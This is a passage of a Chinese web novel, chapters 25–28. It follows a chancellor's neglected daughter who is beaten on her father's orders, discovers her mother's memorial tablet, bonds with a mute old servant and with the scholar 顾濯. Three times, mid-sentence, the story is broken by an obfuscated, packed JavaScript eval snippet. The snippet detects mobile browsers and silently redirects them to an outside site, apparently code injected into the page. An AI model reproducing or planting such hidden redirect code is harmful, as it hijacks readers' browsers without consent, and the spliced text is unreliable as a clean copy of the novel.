“你只管安分些，把该抄的书一个字一个字誊清爽了，她心里头松快了，那病根子自然就消停些。”姚玉成没好气地呛了一声。 “……” “先生。”清冽的声音去而复返。 她笔尖在纸上一顿，洇开一小团乌糟糟的云。心头也跟着那墨团子往下一坠，忙不迭地将脖颈压得更低些，强迫自己聚精会神于书册上，将心底那点蠢蠢欲动压下。 可似乎显得徒劳，心还是跳得很快，一股热意浮上耳畔。 这不对劲。 她皱起眉头，想捂住耳朵，却怕动作太招人注目，只能变本加厉地凝神于书册。 “陛下前阵子赏了些贡燕，学生用不着。听闻师母身子弱，想是比搁在学生那里糟蹋了强。”顾濯的声音平稳恭谨。 “你费心了。” “明明是学生叨扰先生了。” 她支棱着耳朵，听着那脚步声远了，又远了，直到彻底融进庭院的风声里，才敢抬起眼皮。 “原来他也要巴结夫子。”她暗自嘀咕了一句，带着点自己也不甚明了的刻薄。 “什么？”姚玉成不满的目光扫过来。 “没什么。”她移开眼，欲盖弥彰地，掩饰着别的情绪。 姚玉成轻叹一口气：“他……也就面上风光，私下里，日子并不好过。” “为什么？”她脱口问出，又立刻后悔了，忙把视线重新聚回书页，指尖却无意识地抠着桌沿。 “你今天问题怎么这么多？”姚玉成的声音沉了沉，“嫌十遍不够抄？” 她垂下眼，书页的内容却再也看不进去。 日子不好过？怎样的不好过？她想象不出。 上等人的日子，再怎么不好过，也苦不到哪去吧？ 那身不染尘埃的白衣，隔绝的岂止是尘埃？连苦难都被隔绝成了她无法想象的形状。 她的目光落在方才因顾濯声音而洇开的那团墨渍上。 乌黑的一小点，在洁净的宣纸上格外刺目。 她下意识地用指尖去抹，墨迹却晕染得更开了，污浊了更大一片。指尖也染上了乌黑。 她怔怔地看着那扩大了的污迹，又低头看看自己染墨的指尖。 明月背后，原来也未必尽是清辉。她后知后觉地想。 她看着那团墨渍的毛边，眼中映出了顾濯模糊不清的轮廓。 25. 得失 她抚了抚吃撑的肚子，脚尖百无聊赖地踢踏着月色，慢悠悠踱回那深宅大院。 相府却不像她想象中那么平静。 周氏在灯火下挂着虚虚的笑意，那笑浮在精心保养的皮肉上，底下是空落落的阴冷。 “你这孩子，怎么这么晚才回来？倒让我们好一番担心。”声音是甜的，却甜得发腻。 我……们？ 她眉心微蹙，目光越过周氏那张精致描摹的脸，果然瞥见了那个男人的身影——林枫眠回来了。 “我督河工这数月，听闻你倒是在京里，闯下好大的祸事？” “枫眠……悠然毕竟还小。”周氏忙不迭地劝慰。 那语调软糯得如同贝类的肉，听着熨帖，却总在不经意间，让人嚼到一粒硌牙的砂子。 “跪了三个时辰祠堂。这罚，已经抵了。”她冷冷看过去。 林枫眠却不屑地笑了：“三个时辰哪里够？” “倘若你手上沾了人命，又要拿什么抵？再跪六个时辰？”他冷哼一声，“你知不知道，你捅下的篓子，险些坏了我多少年的经营？” “横竖你能摆平。”她迎上林枫眠沉沉的眼睛，“不然，你也不会有功夫在这冲我发脾气了。” “读了几个月书，嘴皮子倒是越来越利索了。”他气极反笑。 “枫眠……”周氏那假惺惺的调子又浮了上来，像水面上腻滑的油花，却掩不住眼底的幸灾乐祸。 她垂下眼，自己这位继母，手段实在浅薄。 一把年纪还在这扮花旦，涂脂抹粉，粉墨登场，咿咿呀呀地唱着独角戏，也是难为她了。 不知林枫眠贪恋她哪一点？皮相？虽半老徐娘，风韵犹存，残脂褪粉下，勉强算得周正，却也绝非倾城之色。 大约真是王八看绿豆，破锅配烂盖了。 她讽刺地想。 林枫眠却看了一眼周氏：“这是我自有定夺。望夫人不要插手。” 在家也官腔打得十足，一副人模狗样的架子。 “夫君处理完这事，便早些歇息吧，仔细累坏了身子。”周氏满眼盛着盈盈欲滴的关切，伸手便要去握林枫眠的手，姿态放得极低。 林枫眠不动声色地将手移开，敷衍地在周氏肩头拍了拍：“劳夫人费心了。” 她冷眼瞧着这对夫妻一唱一和，心底却莫名爬上一丝异样。 这两人之间，不似姚玉成夫妇那般浑然天成的细水流长，反倒带着刻板的雕琢。 像两个不凑对的角儿，硬被摆在同一张戏台上，上演一处并不协调的戏码。 周氏这才扭着腰肢，袅袅聘聘地走了，背影都透着小人得志。 林枫眠阴鸷的目光睨过来：“刘肃块头不小，你能把他推下水，这身蛮力气，倒是我小瞧了。” 她扯开讽刺的笑，理直气壮地收下了这句阴阳怪气：“父亲谬赞。” “蠢货！”林枫眠喉间滚出一声低沉的咆哮，“借刀杀人都不会？非要自己脏了手？” “不想。”她吐出两个字，干脆利落。 “怎么？”似是想到了什么，他眼底阴霾更甚，“书斋里浸了几个月酸腐气，就嫌我手段脏了？” 他嘴角勾起冰冷的弧度，目光依旧是居高临下地泼过来：“二十板子。” 明明那声音还是沉在水底似的，她却无端觉出底下翻腾的怒涛。 敛眉垂目的管家应声上前，像一条训练有素的鬣狗。 挨打，她也习惯了。 林枫眠身边的这位管家惯是低垂着脑袋，这还是她第一次清晰地看清他的面目。 不知为何，她觉出一股熟悉感。 板子沉闷地砸在皮肉上，一声声，钝重而黏腻。她咬碎了牙关，将喉咙里的腥甜死死咽下，意识在剧痛与麻木的间隙里浮沉。 说来也巧，刘肃姓刘，她那养父母一家也姓刘，怎么不见他为了那三条命恼怒？ 那三条命，还是他轻松结果的。 同一个字，刻在不同门楣上，亦是天壤之别。 奄奄一息地躺在院子里，她在脑海里清晰地过了一遍这桩事。 若是她老老实实被刘肃欺凌，落下明晃晃的伤，那便是刘家理亏。 林枫眠，这个看似严厉、对她不假辞色的父亲，这个在朝堂上以手段狠辣闻名的林相，岂会放过这等送到眼前的把柄？ 林枫眠完全可以借此大做文章，在朝堂上弹劾刘家教子无方、纵子行凶，牵连出底下盘根错节的势力。刘家为了息事宁人，少不得要割肉饲虎，向相府低头，奉上些实实在在的好处。 这本该是他棋盘上一步绝妙的杀招。 小小的学堂背后，却牵扯着如此复杂的政治角力。 那……自己被突然送入学堂，顶着“林家流落在外不受宠女儿”这个尴尬又引人注目的名号，是否也是他刻意布下的饵？专为着引诱那些按捺不住的鱼儿来咬钩？ 一股寒意瞬间从脚底窜上头顶。 该是何等深沉的城府，连亲生骨血也能这般轻巧地置上秤盘，掂量斤两？ 她的伤，她的痛，她的屈辱，在他眼中，都只是可以兑换成政治利益的砝码。 以后呢？他这双翻云覆雨、视万物为刍狗的手，又会将她这枚棋子，推到哪一处更险恶的境地？ 她心底那点残存的、关于“父亲”的模糊念想，此刻彻底碎成了齑粉。 一种巨大的悲哀，无声无息地弥漫开来，将她整个人都裹了进去。 她勉强压下心头的钝痛。将目光从这冰冷的算计上移开，投向她亲手制造的混乱。 眼下，自己这么一推，倒将局面反过来了。 受害者成了施暴者。 林枫眠不仅失去了一个攻击政敌的绝佳机会，反而被自己的女儿反手塞了一嘴黄连。 他此时回来，非但没有收获累累果实，反倒要处理满地狼藉。 聪明反被聪明误，赔了夫人又折兵。 “呵……”她发出一声短促的、带着浓重鼻音的轻笑。 紧接着，这笑声像是开了闸。带着一种泄愤的快意和报复性的嘲弄，低低地、断断续续地在她胸腔里震荡开。 她黑沉的眼睛里，此刻却闪烁着近乎疯狂的光。 敢拿她做局，那她便掀了这棋盘，谁也别想好过！ 冷不丁看到头顶高悬的明月，她的笑意僵住。 她闭了闭眼，将自己从绝望而癫狂的思绪中抽离。 刚刚的念头带着毁灭般的快感，烧灼着她混乱的神经。 她眼前阵阵发黑，她需要别的事转移注意力。 不然，阴差阳错也能拿来幸灾乐祸，那她……也太过可怜了。 顾濯此刻在做什么呢？ 没来由地，她脑中浮起这个疑问，心也渐渐平静下来。 想必又在挑灯苦读他那圣贤书吧？ 昏黄的灯晕笼着他，会是什么模样？ 都说灯下看美人，越看越精神…… 疼痛与旖旎碰撞，这念头刚冒了个尖，便起了一身鸡皮疙瘩，她浑身刺挠了一下。 相府终是恢复了岑寂。 连风都绕着高耸的围墙走，生怕惊扰了这份不容僭越的森严。 忍着剧痛和眩晕，她拖着残躯环顾周遭，目光所及，是压得人喘不过气的青砖高墙，沉默地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860281|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣示着这座牢笼的威严。 回屋的路上，她走得很慢，每动一下都牵动伤口，冷汗直流。 蓦地，她看见林枫眠朝着一处偏僻处去。 那背影被夜色吞掉大半，竟透出一股罕见的萧索。 她愣了愣，眼中翻涌着恨意，哪怕动作的艰难、缓慢，也还是悄无声息地缀了上去。 路尽头，是一座孤零零的佛堂。 这间佛堂废弃已久，她也是在刚进府时在下人口中听到过。 林枫眠怎么会去那里？ 她将自己缩进阴影里，耐心地蛰伏。 不知过了多久，佛堂木门“吱呀”一声被推开。 林枫眠走了出来。 月光吝啬地泼洒在他脸上。 这位昔日的探花郎，皮相自然是好的，纵然此刻布满了疲惫的沟壑与挥之不去的孤寂，如同蒙尘的白玉，依旧能窥见当年的风华。 只是那风华，被经年累月的算计与钻营蚀了大半，此时被无边的悲伤笼着，竟显出一种死气沉沉的暮气来。 待林枫眠沉重的脚步声消失，她心中一动，鬼使神差地靠近了那间佛堂。 佛堂的门没有锁，轻轻一推便开了。 她屏住呼吸，走近几步。 真是奇怪，桌上布满灰尘，供着些发霉的瓜果，上面那牌位确实干净的。 月光似乎也好奇起来，终于肯多施舍几缕，斜斜地穿过窗棂，落在牌位的一角。 借着微弱的光线，她看向那几个字。 它们时光洗刷得几乎要消融，又像经常被人摩挲，边缘模糊，漆色斑驳。 终于，她看清了。 “爱妻祁月之位”。 祁月…… 两个字在她齿间轻轻滚过，带着庄重与虔诚。 这是她的生母吗？ 她伸出手指，极其轻缓地、近乎不敢触碰地，悬在牌位的刻字上方。 此刻，这个名字有了具体的笔画，有了承载它的冰冷木牌，有了……一个曾颠沛流离，满身泥淖的女儿。 她浸润在一种不真实感里。 心口深处，猝不及防地涌上一股酸涩，酸得发苦，苦得发辣，酸得让她眼眶发热。 她现下，算是有来路的人了吗？ 拖着沉重的身体离开佛堂，她抚摸门框，回头再看一眼。 直到夜风拂过脸颊，所有的感官如同潮水般汹涌回笼，才感受到伤口的疼痛。 她后知后觉自己发起了热，昏昏沉沉地拖拽着躯体。 意识沉浮，她终究支撑不住，跪倒在地。 眼前蓦地一暗，一道影子沉沉地覆下来。 一双手搭上了她的胳膊。 枯枝似的，带着粗粝的茧。 “谁！”恐惧和滚烫交织，烧得她眼前一片血红。 她费力地掀开眼皮，视线模糊晃动，只能勉强聚焦。 映入眼帘的，不是想象中的凶神恶煞或幸灾乐祸，而是一张布满深刻皱纹、写满岁月风霜的脸。 一个佝偻着背的老妇人。 老妇人头发灰白，用一根磨得发亮的木簪草草挽了个髻。身上是粗布洗得发白的旧衣，袖口磨出了毛边。 她似乎是被这边的动静惊动，匆匆赶来，浑浊的眼睛里此刻盛满了惊惶和一种难以言喻的急切，正一眨不眨地盯着她。 老妇人的目光最终死死定格在她的脸上，浑浊的眼底骤然翻涌起极其复杂的情绪，震惊、狂喜、难以置信，最终化为一种深沉的哀伤。 枯瘦的手指颤抖着，似乎想触碰她的脸颊，却又在咫尺之遥猛地停住，仿佛怕惊扰了什么，也怕碰碎了什么。 26. 震慑 “啊……啊……”老妇人徒劳地发出声音，浑浊的泪水涌出，顺着深刻的沟壑蜿蜒而下。 她蹙起眉头，正想说些什么，终究是意识一黑，昏了过去。 再醒转时，已不知过了几时。 伤口被人妥帖地上了药。 抬眼四顾，是间极小的屋子，光线吝啬地漏进来，浮尘在昏暗中懒懒地游动。 统共几件家什：一张硬板床，靛蓝粗布被褥洗褪了色；一张方桌配着两条老旧的条凳，坐上去应会发出咯吱声；一个半人高的旧衣柜，木头纹理都磨得模糊了。 倒是收拾得纤尘不染，显出几分伶仃的体面。 喉咙里火烧火燎，她挣扎着想撑起身去寻水。 那老妇人却在此时突然进来，手中一个半旧的木盒闷闷地往桌上一放，枯瘦的手便按住了她的臂膀，示意她不要乱动。 她抬起眼。 猝不及防地，撞进老妇人的眼睛里。 那眼睛竟出奇地亮，像汪着两泉水，清凌凌地映着昏光，只是那清亮底下，盛的东西太多太沉了，层层叠叠，压得人透不过气来。 凉水入喉，缓解了喉间灼烧般的痛。 “你……认得我的……”她清了清嗓子，舌尖像被什么绊住了，那两个字在嘴里滚了几滚，终于带着点涩意、一点自己也说不清道不明的忸怩，小心翼翼地吐出来，“……母亲？” 老妇人点点头，将桌上的木盒递给她。 “吱呀”一声，木盒开启的声响滞涩而悠长，像一声迟暮的叹息。 几朵褪色的绢花，一方方素净的手帕，还有几件小得可怜的孩童衣裳。 时光毫不留情地从它们身上碾过，早把鲜活颜色碾磨殆尽，洇开一片片陈年的、洗不脱的黄。 她伸出手，指尖微颤，拈起最上面的一条帕子。那绣工实在拙劣，针脚歪扭得不成样子，偏又透着一股笨拙的、死命认真的劲儿，硌得人心里发酸。 “她……是什么样的人？”她颤抖着声音问。 老妇人眼中的情绪实在太沉了。 悲伤的，痛楚的，是岁月熬尽后剩下的药渣。 老妇人抓着她的手，一笔一划，在掌心刻下个字。 “美。”她轻轻念着。 她吸吸鼻子，绽开一丝欢欣的笑，带着几分骄矜：“我长得就很好看，母亲想来也不会丑的。” 老妇人也牵动嘴角，笑纹里爬满了旧事。 接着，那枯枝似的手指，又在她掌心刻下另一笔。 “善。”她低低念着。 她心里更是松快了些，仿佛得了佐证。 肯为孩子费心费力做那等歪扭不成样子的绣活，死后隔了这许多年月，还有人巴巴地记挂着，将这点陈年旧物当宝贝似的藏着，想来那性子，也定是极好的。 凉浸浸的手指在温热的掌心继续写着。 “刚？”她慢慢念着。 语气却透露出困惑。 刚？是指性子刚强？还是…… 未及细想，“砰”一声门被撞开。 一个膀大腰圆的粗使婆子便粗鲁地闯进屋内：“夏婆子，你个老货，又躲在这里偷懒！” 一张马脸拉得老长，吊梢眼里是毒蛇一样的阴冷。 汗酸和厨房油烟气瞬间充斥整个屋子。 她皱眉，这人她在周氏身边见过，不是什么叫得上号的，混在一众仆从里，脸上堆着谄媚的笑，和此时的神气判若两人。 马脸婆子冷哼一声，自以为是地抬起脸，殊不知这一动作，倒是将她的脸显得更长了。 马脸目光轻慢地看着她，声音陡然拔高，带着几分高高在上的训诫：“悠然小姐？您怎么跑到这腌臜地方来了？” 边说边夸张地掩了掩鼻，仿佛真闻到了什么不祥：“这府里的规矩，您是贵人不知，这等废弃之地，阴气最是瘆人！您千金贵体，万一冲撞了点什么不干不净的，折了福寿，回头夫人问起罪来，怪罪老奴伺候不周，老奴这条贱命可担待不起呐！” 嘴上说着恭敬的话，语气却充满了驱赶和威胁：“夏婆子年老糊涂，惊扰了小姐，老奴这就带她下去好好管教！” 末了，更是不由分说地扑向那瑟缩的夏婆子，蒲扇似的大手粗暴地径直抓起胳膊。 动作的瞬间，扫过木盒，一众物件便可怜巴巴地散在地上。 “你放开她！”她下床怒斥。 马脸却对她的话置若罔闻，鼻子呼哧出着气，眼中满是轻视与不屑。 夏婆子浑身发颤，嘴上吃痛地“啊、啊”叫唤着，不舍地回头看她。 那眼神太过悲哀，看得人心生不忍。 “我叫你放开她！”她暴呵。 “小姐快些回去吧。”马脸依旧不理会，“这事啊，你管不了。” 耳边是夏婆子凄厉的嘶吼，伴随着马脸几句肮脏的咒骂，阴郁的死气骤然细细密密地缠绕在她的心口，越收越紧，勒得她几乎窒息。 她握紧了拳头。 周氏那张涂脂抹粉的笑脸、林枫眠眼底的阴鸷、眼前这马脸婆子的跋扈…… 相府的一切她都想一把火烧个干净！ 她蹙眉，眼风扫过桌上那半盏残茶，想也不想，抄起来便朝地上狠狠一掼。 “哗啷——！” 碎裂的脆响，尖利地撕破了屋内凝滞的空气。 “我人还站在这儿，喘着气儿呢，你就急着要替我当家作主、越俎代庖了？” 马脸愣住。 不等对方反应，她倏地弯下腰，纤白的手指毫不犹豫地攫起一片碎瓷，掌心猛地一收。 殷红的血珠，争先恐后地冒出来，迅速汇成一股，滴滴答答，砸在灰扑扑的地面上，洇开一朵朵刺目的小花。 她捏着那片染血的凶器，一步步逼近那僵住的马脸，唇角竟勾起一丝残忍的笑：“你说，若叫我那位最最‘慈爱’的继母知晓，她房里的妈妈，竟敢蓄意谋害府上的小姐……” 她故意顿了顿，欣赏着马脸血色尽褪的惊恐：“她为了那‘慈爱贤德’的名声，为了堵住这悠悠众口，会怎么处置你这条忠心耿耿的老狗？是拔了你的舌头，还是干脆……把你这一身肥膘填了哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860282|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口枯井，省得污了她的好名声？” “你……”马脸嘴唇哆嗦着，钳制夏婆子的手猛地一松。先前的气焰被这淋漓的鲜血和狠毒的话语冲刷得一干二净，只剩下一身肥肉在筛糠般的恐惧里簌簌抖动。 她趁势一把揪住婆子油腻腻的前襟，手上那温热的、黏腻的鲜血，便毫不顾惜地抹了上去。 鼻尖翻涌着血腥气，马脸被她眼中的狠戾惊得魂飞魄散。 她却在此时松了手，马脸顿时两腿瘫软倒地。 “父亲近来总是教导我狠点心。”她垂眸，慢条斯理地端详着手上的鲜血，“说我这心肠，还是太软和了些。” 她抬起眼，做出一副天真又残忍的思考模样：“我想了想也是。要不……我干脆直接把你杀了吧？”她歪了歪头，语气平淡得像讨论平日的吃食，“横竖，你不过是个签了死契的下人。也省得你，再替我担这‘擅入腌臜之地’的罪责了。想来父亲知道了，应该会很欣慰吧。” 那马脸手脚并用地往后爬，面上全是惊恐：“不……你不能杀我，你只是个不得宠的小姐，老爷不会……” 她轻嗤一声：“我连刘家都敢惹，父亲不还是帮我善后了。你一个贱奴，又算得了什么？” 她慢悠悠地踱步过来，眼中一片阴鸷，一步步逼近那滩烂泥似的马脸婆子。 就在此时，一只手，带着小心翼翼的力道，轻轻握住了她的胳膊。 她转过头。 是夏婆子。 老妇人的眼里，没有恐惧，只有几乎要溢出来的担忧。 她被那眼里的关切刺得心头发痛：“你不想我动手吗？” 夏婆子摇摇头。 她垂眸，看着掌中那片染血的凶器，眼中浮起厌恶，指尖的力道倏然一松。 碎瓷落地的轻响，击碎了凛冽的杀意。 “既然有人替你求情，那我就姑且放过你。”她居高临下地看着马脸：“今日之事，管好你那张嘴。若漏出半个字……” “我没来过，没来过！什么都不知道，什么都不知道！”马脸如蒙大赦，颤抖着身子勉强站起身。 “等等。” 马脸一顿，身体僵住。 她不紧不慢地威胁，声音里淬着毒：“倘若你下次还敢来找麻烦……” 马脸连忙回身，竟是涕泪横流地磕起头来：“我不敢了！我不敢了！老奴发誓！求小姐开恩！开恩啊！” 前倨后恭，令人发笑。 待那污浊的身影连滚带爬地消失在门外，屋内重归死寂。 她像是体力透支，脸上浮起细汗，只能借着桌子的力，勉强站立。 夏婆子赶忙扶着她往床边走。 “真是对不住，把你屋子弄脏了。”她白着一张脸，带着歉意开口。 夏婆子却不赞同地看她，用眼神责怪她的不着重点。 “你写的‘刚’字……”她看着夏婆子，抬起受伤的手，自嘲笑了笑：“……是指这个吗？” 夏婆子看着她，眼神复杂，先是极缓慢地点了点头，随即，又更用力地摇了摇头。 27. 旧疤 她收紧掌心时，指尖巧妙地用了暗劲，那血便汹涌地漫溢出来，染红了整只手掌，黏腻温热地顺着指缝往下滴，瞧着甚是骇人。 实则伤口并不深，皮肉之痛有限，不过是场量体裁衣的血腥戏法，专为吓破那等欺软怕硬者的胆魄。 她似乎在林枫眠那彻底沦为了“弃子”，因着那顿板子，拿休养的借口避了多日也无人来访，倒是既名正言顺地躲开了府里那些明枪暗箭，又给手上的伤愈合留足了时间。 而夏婆子这里也成了她在相府唯一安心栖息的港湾。 因为不能说话，大多数时候，便只是她一个人，对着这沉默的、皱纹纵横的听众，絮絮地讲些闲话。 她说的，自然不是什么惊天动地的大事，不过是些被风吹散的琐碎尘埃，是她灰暗生活中偶然捕捉到的一点点微光或阴影。 譬如学堂墙角那株灰扑扑、毫不起眼的野草，不知怎地入了那群“诗人”的眼，一时间竟成了“傲骨嶙峋”、“逆境求生”的典范，引得酸诗滥赋纷纷扬扬，墨汁怕是比草叶上的露水还多。 可惜诗稿的墨迹还未干透，在一个再寻常不过的下午，便被某个嫌它碍眼的粗使杂役，漫不经心地一铲子下去，连根带泥掀了个底朝天，尸骨无存。 又譬如那位功课顶好的学生，他的文章早已成了夫子案头供奉的圭臬，红圈密匝匝爬满纸页，墨香熏得人发晕。先生每每当堂诵读，声情并茂，字字句句都似镀了金。引得满堂学子眼热心跳，个个屏息凝神，恨不能将那字句嚼碎了咽下去。 起初只是攀仿其立意章法，渐渐竟连那笔下的撇捺横折也描摹起来。你学一点，我仿三分，墨迹未干，满纸便爬满了形似神非的赝品。那原本独一份的字迹，竟像瘟疫般在学堂里蔓延开来。一眼望去，作业本上全是那模范生字迹的拙劣翻版。 这可气煞了夫子。整整一节课，夫子的咆哮声夹杂着横飞的唾沫星子，在学堂梁柱间嗡嗡回荡。底下的学生噤若寒蝉，头埋得低低的，只敢用眼角余光瞟着彼此作业本上那些惹祸的、一模一样的字迹。 而那真正的“圭臬”主人，坐在窗边，看着满堂与自己“神似”的笔迹，向来平静无波的脸上也浮起一丝难以言喻的尴尬。 再譬如学院里不知何时刮起了一阵素色风潮，人人争相脱下绫罗绸缎，换上粗麻布衣，自以为得了“清雅”三昧。结果某日夫子踱进课堂，抬眼一望，满屋灰扑扑、惨淡淡，活像谁家新丧未久，孝服还未除尽。他老人家惊得胡子都颤了三颤。 更绝的是，那素色粗布穿在大多数人身上，非但不见半分飘逸出尘，反把人衬得面黄肌瘦、形容枯槁，如同褪了毛的鹌鹑，灰头土脸，硬生生把“风雅”穿成了“寒碜”。 …… 有时说得口干舌燥，她声音渐次低微下去，耳根子也悄悄爬上两朵可疑的红云。眼神里会掺进一丝极细微的、生怕被厌弃的探询，声音也低了下去：“你会不会……嫌我烦啊？” 老妇人只是摇头，那两泓沉静的眼微微弯起，漾开一点温润的笑意，枯瘦的手递过来一碗凉透的粗茶。 这简单的动作，胜过千言万语的保证。 她捧着那粗瓷碗，碗壁的凉意透过指尖渗进来。 碗里的茶汤映着她自己模糊的倒影，晃动着，让她恍惚间看到了自己灵魂深处的动荡。 就在这一刻，她心头蓦地一颤，一种陌生的、带着羞耻的渴望悄然浮现。 原来她竟也如此渴求旁人的目光，哪怕只是这样一点微末的、无声的注视。 与此同时，看着老妇人的眼睛，她也意识到，原来在这冰冷的相府里，她并非全然孤绝。 原来她也是被需要的。 将少女心事倾倒在零敲碎打的浮光掠影里，日子在夏婆子的小屋里流淌，竟也生出几分偷来的宁静。 直到某一天，林枫眠竟罕见地踏进了她的院子，像一片乌云，压在了她晴空万里的心间：“收拾停当，随我去刘府赔罪。” “我不去！”她猛地抬头，声音因愤怒而拔高，“我没错！凭什么要我去赔那个罪？！” “混账！”林枫眠怒呵。 再不容她置喙。 她被按在妆台前，动作麻利而粗暴，像摆弄一具没有灵魂的木偶。 铜镜里映出一张因愤怒和屈辱而涨红的脸，随即被脂粉层层覆盖。 发髻被高高挽起，勒得头皮生疼；珠翠冰冷地插进发间，沉甸甸地压着脖颈。 最让她心惊的是那身被强行套上的华服，锦缎流光溢彩，刺绣繁复得令人窒息，是她平日见都未曾见过的贵重。 而这身衣裳，不是荣耀，是明晃晃的羞辱，是即将押赴刑场的囚服。 “你就不怕我在刘府说些什么不该说的？”她冷冷地威胁着。 这已是她最后的、虚张声势的利爪。 林枫眠闻言，只是微微侧过身，目光甚至未在她那张因愤怒而扭曲的脸上多停留一秒。 “哦？近来倒听说，你同西角门那个……不能言语的粗使婆子，走得颇近？”他闲闲地理了理袖口，慢条斯理开口，目光终于落在她瞬间褪尽血色的脸上，带着猫捉老鼠般的玩味，“你那些自以为隐秘的把戏，瞒得了旁人，可曾瞒得过我？” 方才那点孤注一掷的勇气瞬间被浇熄，高高扬起的头颅终究还是低了下去。 沉重地、无声地。 华丽的珠翠在她额前晃荡，冰冷的触感贴着皮肤，如同耻辱的烙印。 她紧抿着嘴唇，仿佛严丝合缝的唇线，能守着尊严的门，死死锁住喉间翻涌的呜咽与不甘。 唇瓣微微颤抖着，尝到了一丝淡淡的血腥味。 林枫眠虽不易察觉地皱了皱眉，但到底没再说什么。 没有胜利者的宣言，没有进一步的斥责，只是用一种居高临下的、冰冷的沉默笼罩着她。 回府后，一道冰冷的命令便落了下来：晨昏定省，每日还要罚跪祠堂一个时辰。 她怕了。 不是怕那刺骨的寒，不是怕那漫长的时辰。 是怕自己承受不住夏婆子担心的目光；更怕林枫眠藏着更阴毒的手段，会悄无声息地碾碎那个哑婆子本就残破的余生。 她咬碎了牙，将那份贪恋死死按回心底最阴暗的角落，再不敢轻易踏足西角门。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860283|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 像是主动掐灭了自己世界里最后一盏微弱的烛火，任由那繁复的规矩、冰冷的礼仪、无声的倾轧，如同粘稠沉重的浊流，一寸寸漫过口鼻，重新将她吞没。 连日积压的委屈，如同滚沸的油，在她胸腔里咕嘟冒泡，灼得她五脏六腑都疼，偏又无处泼洒。 相府之大，亭台楼阁，雕梁画栋，金玉满堂。可她只觉得处处是冰窟，步步是陷阱。 学堂旬假，横竖无处可去，她便独自蜷在空无一人的书斋角落，干熬着日头一寸寸西沉。 光影在尘埃里缓慢爬行，时间粘稠得令人窒息。 直到顾濯那清瘦孤拔的身影踏入书斋。他旁若无人地坐下，埋首书卷。 这股子“浊世清流”的姿态，刺得她眼睛发疼。 一股邪火猛地窜上心头。 再忍不住，她话里淬着冰碴子，直直刺了过去：“顾公子这般苦读圣贤书，莫不是也想当圣人？” 她原以为会撞上一堵沉默的墙，或是几句迂腐的辩驳。 不曾想，那低垂的眼睫微微一动，一个清泠泠、毫无波澜的声音便清晰地递了过来： “不曾。” 带着探究的恶意，她冷冷质问：“顾公子所求为何？” 她已准备好听他吐出些酸腐高调，好将心头的鄙夷坐实。 顾濯缓缓抬起了头。 “功名利禄。”黑沉的眸子映出了她故作倔强的脸。 目光相撞，撞出了同病相怜的孤单与疲惫。 她心头一颤，不自在地移开眼睛，按捺住无处安放的心绪，强迫自己看向光影里的尘埃起落。 她自虐般盯着窗外，强光灼得她眼睛发酸，泛起一层薄薄的水雾，视野里一片模糊的金星乱迸。 就在这时，顾濯却放下了手中的案卷。 轻微的声响在寂静的书斋里格外清晰。 他起身，一步步朝她走来。 少年人的身形已然褪去了单薄，显露出挺拔轮廓。 肩背宽阔，身形颀长，站在那里，像一株笔挺的青竹，在她的面前投下一片阴翳，带来一种奇异的、短暂的庇护感，隔绝了窗外那刺目的光。 她不情不愿地抬起头，迎上了顾濯那张清俊却缺乏表情的脸。 “顾公子有何贵干？”她声音紧绷，整个人都不由得向上一提，像竖起了尖刺的刺猬。 顾濯没有言语，只是伸出手。掌心静静躺着一个素白小巧的瓷瓶，釉色温润。 短暂的沉默在空气中凝固。 顾濯似乎感受到了她眼中那几乎要化为实质的警惕和狐疑，他几不可察地停顿了一下，薄唇微抿。 接着，他无奈叹了口气，声音平淡地补充：“祛疤的膏药。” 她怔然片刻，下意识地，迟疑地伸出手。 顾濯……他怎么会注意到？ 又为何……要给她这个？ 就在指尖触碰到那微凉瓷瓶的刹那，一股极淡的、属于顾濯指腹的温热，若有似无地传递过来。 掌心那道连她自己都快遗忘的淡粉色、细幼的旧疤，便猝不及防地，贴上了这份带着体温的突然关切。 28. 回甘 她怕林枫眠对姚玉成夫妇做些什么来，也渐渐不往那里去了。 只能在心底一遍遍祈祷，求他们千万别怨怼。 将那一点一滴的好，如同欠下的债，仔仔细细镌刻在心上，沉甸甸地压着，指望着不知何年何月能连本带利地偿还。 这亏欠，像根无形的绳索，勒在脖颈上，时时提醒着她的不自由与无能为力。 学堂旬假的日子，倒成了奇异的喘息。 她与顾濯之间，渐渐滋生出一种心照不宣的默契。 偶尔，她会从相府厨房里，顺手牵羊摸出几块糕点。 也不言语，只将那油纸包着的点心，往顾濯的书案边角轻轻一推。 顾濯呢，眼风都不曾多扫一下，更无半分推拒的客套。 修长的手指拈起一块，动作斯文，却带着一种理所当然的静气。 两个人便各自守着书斋的一角，对着满室沉寂的书香与尘埃，默默地咀嚼着那点偷来的甜。 日子就这么在糕点的碎屑与翻动的书页间滑过去。 